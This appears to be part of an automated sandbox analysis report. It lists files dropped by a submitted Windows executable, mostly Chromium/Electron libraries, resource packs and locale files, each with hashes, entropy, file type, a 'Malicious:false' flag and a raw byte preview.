
                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:HTML document, ASCII text
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):8312662
                                                                                                                                                                                                                                                Entropy (8bit):4.705814170451806
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:24576:dbTy6TU675kfWScRQfJw91SmfJB6i6e6R626X8HHdE/pG6:tygpj
                                                                                                                                                                                                                                                MD5:312446EDF757F7E92AAD311F625CEF2A
                                                                                                                                                                                                                                                SHA1:91102D30D5ABCFA7B6EC732E3682FB9C77279BA3
                                                                                                                                                                                                                                                SHA-256:C2656201AC86438D062673771E33E44D6D5E97670C3160E0DE1CB0BD5FBBAE9B
                                                                                                                                                                                                                                                SHA-512:DCE01F2448A49A0E6F08BBDE6570F76A87DCC81179BB51D5E2642AD033EE81AE3996800363826A65485AB79085572BBACE51409AE7102ED1A12DF65018676333
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview: Generated by licenses.py; do not edit. --><!doctype html>.<html>.<head>.<meta charset="utf-8">.<meta name="viewport" content="width=device-width">.<meta name="color-scheme" content="light dark">.<title>Credits</title>.<link rel="stylesheet" href="chrome://resources/css/text_defaults.css">.<link rel="stylesheet" href="chrome://credits/credits.css">.</head>.<body>.<span class="page-title" style="float:left;">Credits</span>.<a id="print-link" href="#" style="float:right;" hidden>Print</a>.<div style="clear:both; overflow:auto;"> Chromium <3s the following projects -->.<div class="product">.<span class="title">2-dim General Purpose FFT (Fast Fourier/Cosine/Sine Transform) Package</span>.<span class="homepage"><a href="http://www.kurims.kyoto-u.ac.jp/~ooura/fft.html">homepage</a></span>.<input type="checkbox" hidden id="0">.<label class="show" for="0" tabindex="0"></label>.<div class="licence">.<pre>Copyright(C) 1997,2001 Takuya OOURA (email: ooura@kurims.kyoto-u.ac.jp)..You may us

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\chrome_100_percent.pak

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):127125
                                                                                                                                                                                                                                                Entropy (8bit):7.915612661029362
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3072:vlKzwqCT4wDNzIwL2o418Gb0+VRLf0ld0GY3cQ39Vm2I:vlKzwt4uEgK18Gb0OV8ld0GecQ3f2
                                                                                                                                                                                                                                                MD5:ACD0FA0A90B43CD1C87A55A991B4FAC3
                                                                                                                                                                                                                                                SHA1:17B84E8D24DA12501105B87452F86BFA5F9B1B3C
                                                                                                                                                                                                                                                SHA-256:CCBCA246B9A93FA8D4F01A01345E7537511C590E4A8EFD5777B1596D10923B4B
                                                                                                                                                                                                                                                SHA-512:3E4C4F31C6C7950D5B886F6A8768077331A8F880D70B905CF7F35F74BE204C63200FF4A88FA236ABCCC72EC0FC102C14F50DD277A30F814F35ADFE5A7AE3B774
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:..............t...#.....:.I...J~p...K~6...L~....M~#...N~....O~`...P~m...Q~....R~....S~I...T~....U~'"..V~.,..^~.7.._~;9..b~v:..c~(<..j~.<..k~.B..l~fH..m~.J..n~.K..o~.L.....M.....N....aP....IS....BV....uY.....]....Pa.....d....h....i...hk....l....m...An....n.....................................K.....x...........4.....m.....D.............................1........................'.....*.....4.....>.....C.....D....hM.....U.....V....>X.....Z....E].....]....a...%c....d....f....h....i....k....l....o...wq....t...7v....y....}....~...m................................3.................g.....6............................k.....-...........3.....9......................H.......................Y.................{.....s....M..............F...................&....y..............\....p....Z.........Z.........g...........................T..................6...............M.................r...........1.................X.................u.......

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\chrome_200_percent.pak

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):177406
                                                                                                                                                                                                                                                Entropy (8bit):7.939611912805236
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3072:4DQYaEQN6AJPKNzIwafR54x5GMR+F44ffbdZnYw9p4AbIVGYoDd+HxNK/rIM0:4DQYaNN68QEVgx5GMRejnbdZnVE6YopY
                                                                                                                                                                                                                                                MD5:4610337E3332B7E65B73A6EA738B47DF
                                                                                                                                                                                                                                                SHA1:8D824C9CF0A84AB902E8069A4DE9BF6C1A9AAF3B
                                                                                                                                                                                                                                                SHA-256:C91ABF556E55C29D1EA9F560BB17CC3489CB67A5D0C7A22B58485F5F2FBCF25C
                                                                                                                                                                                                                                                SHA-512:039B50284D28DCD447E0A486A099FA99914D29B543093CCCDA77BBEFDD61F7B7F05BB84B2708AE128C5F2D0C0AB19046D08796D1B5A1CFF395A0689AB25CCB51
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:..............t...#.....:.t...J~....K~....L~....M~....N~....O~....P~.%..Q~.*..R~.-..S~c5..T~.9..U~.A..V~.V..^~Ck.._~.m..b~)o..c~yr..j~#s..k~.}..l~....m~...n~...o~......................................K.....!..................Q..............*........................a.......................,%....H0.....2....E:....(A.....F.....L.....R.....T....QY....:].....f.....i....br....Sv..........C...........).................].....}................................................................................................. ....!....%.....*.....,..........O/...../....y1.....2....l4.....6.....7....A:.....?.....C.....K.....S.....Y....._.....e....Ok.....l.....m.....n.....o.....q.....r.....s.....u....:w..............P............................%.............7................,........G........u.............B........S.........a....%........;.....................l...........T..........R...........6..........).............

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\d3dcompiler_47.dll

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):4916712
                                                                                                                                                                                                                                                Entropy (8bit):6.398049523846958
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:49152:KCZnRO4XyM53Rkq4ypQqdoRpmruVNYvkaRwvhiD0N+YEzI4og/RfzHLeHTRhFRNc:xG2QCwmHPnog/pzHAo/A6l
                                                                                                                                                                                                                                                MD5:2191E768CC2E19009DAD20DC999135A3
                                                                                                                                                                                                                                                SHA1:F49A46BA0E954E657AAED1C9019A53D194272B6A
                                                                                                                                                                                                                                                SHA-256:7353F25DC5CF84D09894E3E0461CEF0E56799ADBC617FCE37620CA67240B547D
                                                                                                                                                                                                                                                SHA-512:5ADCB00162F284C16EC78016D301FC11559DD0A781FFBEFF822DB22EFBED168B11D7E5586EA82388E9503B0C7D3740CF2A08E243877F5319202491C8A641C970
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........|3..]...]...]..e\...]...\.5.]..e...]..wX...]..wY...]..e^...]..eX.y.]..eY...]..e]...]..eU./.]..e....]..e_...].Rich..].................PE..d...^.}`.........." ......8..........<).......................................K.....:FK...`A........................................`%G.x....(G.P.....J.@.....H.......J..%....J.....p.D.p....................S<.(...pR<.@............S<.(............................text.....8.......8................. ..`.rdata...F....8..P....8.............@..@.data...`....@G......@G.............@....pdata........H......@H.............@..@.rsrc...@.....J......@J.............@..@.reloc........J......PJ.............@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\ffmpeg.dll

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):2883072
                                                                                                                                                                                                                                                Entropy (8bit):6.697367886822868
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:49152:YGJO72cNsdMZWfAn1fdmZMOqcQrGhjUHgNxGUwSCmmfYDJGz5SN3lzl3hSKqH:Jj8n1QqGCmmfIUz59t
                                                                                                                                                                                                                                                MD5:E096C168B79A56DED0DF1AA142D9F1DA
                                                                                                                                                                                                                                                SHA1:318F20DAB294A315BD935160E9417FB5B28300F5
                                                                                                                                                                                                                                                SHA-256:65CC75329D17EC264E7A2DB571EA55F918394241445EA64569A56C75D0CFDC60
                                                                                                                                                                                                                                                SHA-512:3DCCF6CE85EF7E75690A5851642F10BB5E6E1572E91E933BACB7FCBFE405B0412B94BA0E160C3BA8D68D2B9AFC1DA268F61C83DCCD6453D8C9470931EE900BFD
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...)<#d.........." .....$#..................................................@B...........`A..........................................*.......*.(.............@...............B..3....).......................).(....R#.@............"*.P............................text....##......$#................. ..`.rdata..l....@#......(#.............@..@.data...x.....*.."....*.............@....pdata........@.......*.............@..@.00cfg..8.....A.......+.............@..@.gxfg....,....A.......+.............@..@.retplne......A.......+..................tls..........A.......+.............@..._RDATA..\.....A.......+.............@..@.reloc...3....B..4....+.............@..B........................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\icudtl.dat

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):10542048
                                                                                                                                                                                                                                                Entropy (8bit):6.277141340322909
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:98304:OKPBQYOo+ddlymOk25flQCUliXUxiG9Ha93Whla6ZGdnp/8k:OKPBhORjOhCliXUxiG9Ha93Whla6ZGrn
                                                                                                                                                                                                                                                MD5:D89CE8C00659D8E5D408C696EE087CE3
                                                                                                                                                                                                                                                SHA1:49FC8109960BE3BB32C06C3D1256CB66DDED19A8
                                                                                                                                                                                                                                                SHA-256:9DFBE0DAD5C7021CFE8DF7F52458C422CBC5BE9E16FF33EC90665BB1E3F182DE
                                                                                                                                                                                                                                                SHA-512:DB097CE3EB9E132D0444DF79B167A7DCB2DF31EFFBBD3DF72DA3D24AE2230CC5213C6DF5E575985A9918FBD0A6576E335B6EBC12B6258BC93FA205399DE64C37
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:...'........CmnD........ Copyright (C) 2016 and later: Unicode, Inc. and others. License & terms of use: http://www.unicode.org/copyright.html .Q....B.......B...#...B.. $...B..p$...B...$...B...%...B..`P...C...P...C...Q..(C......<C.....OC......bC..@...uC.......C..P....C.......C.......C..p....C.. ....C.......C.......D..p... D.....3D..0...FD.....YD.....lD.......D......D..0....D.......D..p....D......D..@....D.......E......E..@...*E.....=E..P...NE......bE.....rE..@....E.......E.......E..P....E.......E......E..@....F.......F.....'F..0...7F..P...JF......aF......qF...G...F.. H...F..`K...F...K...F...L...F...-...F...c...G....'.'G....'.>G..@.'.UG..0.'.oG....'..G...!'..G...!'..G..P&'..G...)'..G..@*'..H..`.(..H...e).7H..0.).VH...)*.xH....*..H....*..H...P+..H...Y+..H...Z+..I...]+. I..`^+.9I.. .+.UI....+.lI....+..I..P.-..I...=...I.......I.......I.. ....J..p....J......-J..p...EJ......ZJ......rJ..`....J..@....J.......J.......J..0....J.......J.......J..0....K..@....K..../.2K...,/.GK..../.\K..

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\libEGL.dll

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):481280
                                                                                                                                                                                                                                                Entropy (8bit):6.330677392522242
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:6144:F9L2FFtoVsruIzUEzUST6uHKw+BubaOQ74PlqF8:F9CGafznzUSTRY70I
                                                                                                                                                                                                                                                MD5:1EECFB04C4434F5A813C8F0C0C8F2C88
                                                                                                                                                                                                                                                SHA1:6DC3CA4B3F72E7FB33BA26FA488DE323EDB59ADD
                                                                                                                                                                                                                                                SHA-256:897CEB95FB164640DDD2426673997B5F6FC2619FD916B038B575A70A0682A706
                                                                                                                                                                                                                                                SHA-512:D7818A42A76508AC3150AEA8D4E168B2DB36F55F71983A177002086380A82E307624CFE37B01FFC3D7EB407485D182654D0D7C6A0C06CCAAE60666630469C7E0
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...)<#d.........." .....$................................................................`A........................................00......F>..(.......x.... ...C..............0....(.......................'..(...@A..@...........pA...............................text....".......$.................. ..`.rdata.......@.......(..............@..@.data....L....... ..................@....pdata...C... ...D..................@..@.00cfg..8....p......................@..@.gxfg...`$.......&..................@..@.retplne.............>...................tls....!............@..............@..._RDATA..\............B..............@..@.rsrc...x............D..............@..@.reloc..0............J..............@..B................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\libGLESv2.dll

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):7625728
                                                                                                                                                                                                                                                Entropy (8bit):6.463180789552528
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:98304:U8qvGdDtslh+LD3ZDWfnSvBSDU5bPm3k89Ld3gsOMt/:JD3ZXJ7bPWLWsD/
                                                                                                                                                                                                                                                MD5:CBA2436016F7A2838588A52D5B6F30F1
                                                                                                                                                                                                                                                SHA1:81DDF44B3E122DFBEE1A2CD8D4544364F1A621A4
                                                                                                                                                                                                                                                SHA-256:BCB3A3D2FCA3C33FA3D1D5DC976AA913CDC8001DF8E64C2CD3D2C545245141BF
                                                                                                                                                                                                                                                SHA-512:D92A880B5F83C5AE10AE9A83E38A293BB0E8C7659DD6ECE162FC752D57C9FCDE8036B81B023CD9F0F4F32B95B06FD4C366E20301010354B6CB904398A3149A44
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...)<#d.........." ......Z...........M......................................`u...........`A..........................................k.8.....l.d....pt.......q.lO............t......vk.....................huk.(.....Z.@.............l.......k.@....................text...e.Z.......Z................. ..`.rdata..l.....Z.......Z.............@..@.data.........m..|....m.............@....pdata..lO....q..P....q.............@..@.00cfg..8.....t......Ps.............@..@.gxfg....+....t..,...Rs.............@..@.retplne.....@t......~s..................tls....:....Pt.......s.............@..._RDATA..\....`t.......s.............@..@.rsrc........pt.......s.............@..@.reloc........t.......s.............@..B................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\locales\af.pak

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):377708
                                                                                                                                                                                                                                                Entropy (8bit):5.4079285675542845
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:6144:ebGJWQdLX/Wi6fR9a5DhZ2FQPnUGSBhjA636Zi2Jyn9Ybt5KXpgmLwSVxJsVxSjf:6GJW2bOi6fRmZ2OPnUThjA636Zi2Jynd
                                                                                                                                                                                                                                                MD5:7E51349EDC7E6AED122BFA00970FAB80
                                                                                                                                                                                                                                                SHA1:EB6DF68501ECCE2090E1AF5837B5F15AC3A775EB
                                                                                                                                                                                                                                                SHA-256:F528E698B164283872F76DF2233A47D7D41E1ABA980CE39F6B078E577FD14C97
                                                                                                                                                                                                                                                SHA-512:69DA19053EB95EEF7AB2A2D3F52CA765777BDF976E5862E8CEBBAA1D1CE84A7743F50695A3E82A296B2F610475ABB256844B6B9EB7A23A60B4A9FC4EAE40346D
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:........E...h.....i.....j.....k.....l.....n."...o.'...p.4...r.:...s.K...t.T...v.i...w.v...y.|...z.....|.....}.....................................................................................-.....>.....E.....N.....g.....p.....{...................................................../.....?.....K.....X.....y...........................................................<.....R.....W.....].....l.....y.....}.....................................................+.....9.....A.....I.....P.....U.....c.....s...............................................%.....J.....d.....m.....y...........................................................+.....2.....5.....6.....B.....L.....V.....].....g.............................O.....^.....k.................................................................".....5.....Q.....z....................................... .....".....%.....(.$...*.D...+.G...,.e........./.....0.....1.....3.....4.....5.....6.D...7.U...8.j...9.y...<.....=.....>.....?.....@.....A.....C.$...D.+.

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\locales\am.pak

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):613642
                                                                                                                                                                                                                                                Entropy (8bit):4.894733266944232
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:12288:b3pIuPzq8xSTwO8sgjZz5E9VJAVtnuviQix30jH8+I:b3plq8xLO8zjZz5E9VJAVtSiQO
                                                                                                                                                                                                                                                MD5:2009647C3E7AED2C4C6577EE4C546E19
                                                                                                                                                                                                                                                SHA1:E2BBACF95EC3695DAAE34835A8095F19A782CBCF
                                                                                                                                                                                                                                                SHA-256:6D61E5189438F3728F082AD6F694060D7EE8E571DF71240DFD5B77045A62954E
                                                                                                                                                                                                                                                SHA-512:996474D73191F2D550C516ED7526C9E2828E2853FCFBE87CA69D8B1242EB0DEDF04030BBCA3E93236BBD967D39DE7F9477C73753AF263816FAF7D4371F363BA3
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:........W...h.....i.....j.'...k.6...l.A...n.I...o.N...p.[...r.a...s.r...t.{...v.....w.....y.....z.....|.....}.........................................................................7.....S.....i.........................................L.....k.....m.....q...................................1.....A.....`.............................".....4.....=.....\.....~...................................5.....Q.....W.....Z.....i.............................K.....z.....................................................8.....G.....`.............................".........................................>.....A.....s.............................@.....G.....J.....K.....W.....`.....|.......................<............................./.....g.....w...............................................3.......................E.....j.....p.....x..................... .....".....%.6...(.c...*.....+.....,.........../.....0.....1.]...3.y...4.....5.....6.K...7.s...8.....9.....;.....<.....=.....>.?...?.I...@.i...A.....C...

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\locales\ar.pak

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):671738
                                                                                                                                                                                                                                                Entropy (8bit):4.903433286644294
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:12288:gjptqBycpX8vYULIrmhkH+P5NNb++YTzgpPMgSENeX:BB2um5S++
                                                                                                                                                                                                                                                MD5:47A6D10B4112509852D4794229C0A03B
                                                                                                                                                                                                                                                SHA1:2FB49A0B07FBDF8D4CE51A7B5A7F711F47A34951
                                                                                                                                                                                                                                                SHA-256:857FE3AB766B60A8D82B7B6043137E3A7D9F5CFB8DDD942316452838C67D0495
                                                                                                                                                                                                                                                SHA-512:5F5B280261195B8894EFAE9DF2BECE41C6C6A72199D65BA633C30D50A579F95FA04916A30DB77831F517B22449196D364D6F70D10D6C5B435814184B3BCF1667
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:........*...h.....i.....j.....k.....l.....n.....o.....p.....r.....s.....t.!...v.6...w.C...y.I...z.X...|.^...}.p.....x.....}.................................................................'.....^.....n...................................'.....*...........V.....x.........................................G.....].....p...............................................o...................................................../.....Q.....s.......................(....._.....i.....q.....x.............................#.....:.....m.......................).....Z.....k.........................................$.....?.....U.....k...........................................................p.................7.....L.....h.......................!.....1.....9.....E.....g.......................&.....Z............................................. .'...".D...%.x...(.....*.....+.....,.6.....M.../.~...0.....1.....3.....4.....5.,...6.....7.....8.....9.....;.....<.:...=.P...>.....?.....@.....A.....C.....D.....E.!...F._.

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\locales\bg.pak

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):701716
                                                                                                                                                                                                                                                Entropy (8bit):4.66095894344634
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:12288:7Od6KqVw2iILlY+dAs1aQUfjoaVV4FH2mFxvx35uKN3CuKb7szmV2Jfu64K+z5jG:KsKqJi6lY+dAs1aQU7yZx35uK4XQzQI9
                                                                                                                                                                                                                                                MD5:A19269683A6347E07C55325B9ECC03A4
                                                                                                                                                                                                                                                SHA1:D42989DAF1C11FCFFF0978A4FB18F55EC71630EC
                                                                                                                                                                                                                                                SHA-256:AD65351A240205E881EF5C4CF30AD1BC6B6E04414343583597086B62D48D8A24
                                                                                                                                                                                                                                                SHA-512:1660E487DF3F3F4EC1CEA81C73DCA0AB86AAF121252FBD54C7AC091A43D60E1AFD08535B082EFD7387C12616672E78AA52DDDFCA01F833ABEF244284482F2C76
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:........P...h.....i.....j.....k.%...l.0...n.8...o.=...p.J...r.P...s.a...t.j...v.....w.....y.....z.....|.....}.........................................................................F.....h...............................................[.........................................#.....Q.....x...................................[.........................................T...............................................'.....U......................./.....c...............................................>.....s.............................4.....^................. .....9.....V.....l...................................\...............................................&.....B.....S.....v...............................................O.....r...................................0.......................9.....z.......................-.....[............... .....".....%.....(.E...*.q...+.t...,.........../.....0.....1.....3.....4.....5.....6.....7.....8.....9.....;.3...<.G...=._...>.....?.....@.....A.....C.F.

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\locales\bn.pak

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):904943
                                                                                                                                                                                                                                                Entropy (8bit):4.273773274227575
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:1536:wqf22AwWk+ADszaaH0PaMadiMNKVbVtQW01jilDouMGsW2uMBVr+9RU4yVS5PMxq:1zW/AMfafVoCp8YbkJBbdJ2DB5y0XlRB
                                                                                                                                                                                                                                                MD5:5CDD07FA357C846771058C2DB67EB13B
                                                                                                                                                                                                                                                SHA1:DEB87FC5C13DA03BE86F67526C44F144CC65F6F6
                                                                                                                                                                                                                                                SHA-256:01C830B0007B8CE6ACA46E26D812947C3DF818927B826F7D8C5FFD0008A32384
                                                                                                                                                                                                                                                SHA-512:2AC29A3AA3278BD9A8FE1BA28E87941F719B14FBF8B52E0B7DC9D66603C9C147B9496BF7BE4D9E3AA0231C024694EF102DCC094C80C42BE5D68D3894C488098C
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:........K...h.....i.....j.....k.$...l./...n.7...o.=...p.J...r.P...s.a...t.j...v.....w.....y.....z.....|.....}.............................................................................................................7.....a.......................".....$.....(.....P.......................+.....T.....p.......................H...................................M.....c...........5.....D....._.........................................A.....z.................B.......................................................................H.....a.....s.........................................B.....g.............................3.....W.....{...............................................>...........j...................................6.....R.........................................g...........9.....u...........V...................................8... .M...".....%.....(. ...*.\...,._........./.....0.....1.`...3.....4.....5.....6.....7.....8.E...9.d...;.....<.....=.....>."...?.5...@.j...A.....C.3...D.S.

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\locales\ca.pak

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):426906
                                                                                                                                                                                                                                                Entropy (8bit):5.400864409916039
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:12288:+XnGrijIs3cSlFEYLCJBB43nbhjJSwmrwiwWzM1ldLbpuQ16BtryBBwIle3nei3X:iNV4ossMNu51hnW5CptA
                                                                                                                                                                                                                                                MD5:D259469E94F2ADF54380195555154518
                                                                                                                                                                                                                                                SHA1:D69060BBE8E765CA4DC1F7D7C04C3C53C44B8AB5
                                                                                                                                                                                                                                                SHA-256:F98B7442BEFC285398A5DD6A96740CBA31D2F5AADADD4D5551A05712D693029B
                                                                                                                                                                                                                                                SHA-512:D0BD0201ACF4F7DAA84E89AA484A3DEC7B6A942C3115486716593213BE548657AD702EF2BC1D3D95A4A56B0F6E7C33D5375F41D6A863E4CE528F2BD6A318240E
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:........N...h.....i.....j.....k.!...l.,...n.4...o.9...p.F...r.L...s.]...t.f...v.{...w.....y.....z.....|.....}...............................................................................6.....O.....o.....|.....................................................2.....J.....j.....q...........................................................1.....;.....M.....].......................................................................D.....i.................................................................+.....2.....?.....u.........................................".....5.....F.....b.....e.....}.............................................................................&.....h......................./.....P.....s.....................................................4.....P.....|...............................................:.....F... .Q...".g...%.....(.....*.....+.....,.........../.-...0.2...1.h...3.x...4.....5.....6.....7.....8.....9.(...;.6...<.D...=.R...>.l...?.v...@.....A.....C.....D.....E...

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\locales\cs.pak

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):436202
                                                                                                                                                                                                                                                Entropy (8bit):5.843819816549512
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:6144:U4ftEfqE2jv7ShUjBA59wjd558YAGKND9Gto8QV:U41HE2jjShqywjd558YAbNDcI
                                                                                                                                                                                                                                                MD5:04A680847C4A66AD9F0A88FB9FB1FC7B
                                                                                                                                                                                                                                                SHA1:2AFCDF4234A9644FB128B70182F5A3DF1EE05BE1
                                                                                                                                                                                                                                                SHA-256:1CC44C5FBE1C0525DF37C5B6267A677F79C9671F86EDA75B6FC13ABF5D5356EB
                                                                                                                                                                                                                                                SHA-512:3A8A409A3C34149A977DEA8A4CB0E0822281AED2B0A75B02479C95109D7D51F6FB2C2772CCF1486CA4296A0AC2212094098F5CE6A1265FA6A7EB941C0CFEF83E
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:......../...h.....i.....j.....k.....l.....n.....o.....p.....r.....s.....t.(...v.=...w.J...y.P...z._...|.e...}.w.........................................................................................#.....,.....9.....V.....d.........................................!.....?.....L.....X.....d.....o.....................................................".....4.....E.....{.......................................................................8.....O.....d.....{.................................................................H.....Z.....h.....................................................9.....<.....J.....X.....h.....w.................................................................!.....p.......................".....>.....s.....................................................&.....N.....n.........................................+.....5... .=...".N...%.u...(.....*.....+.....,.........../.....0.....1.H...3.V...4.s...5.....6.....7.....8.....9.....<."...=.,...>.A...?.I...@.[...A.....C.....D...

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\locales\da.pak

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
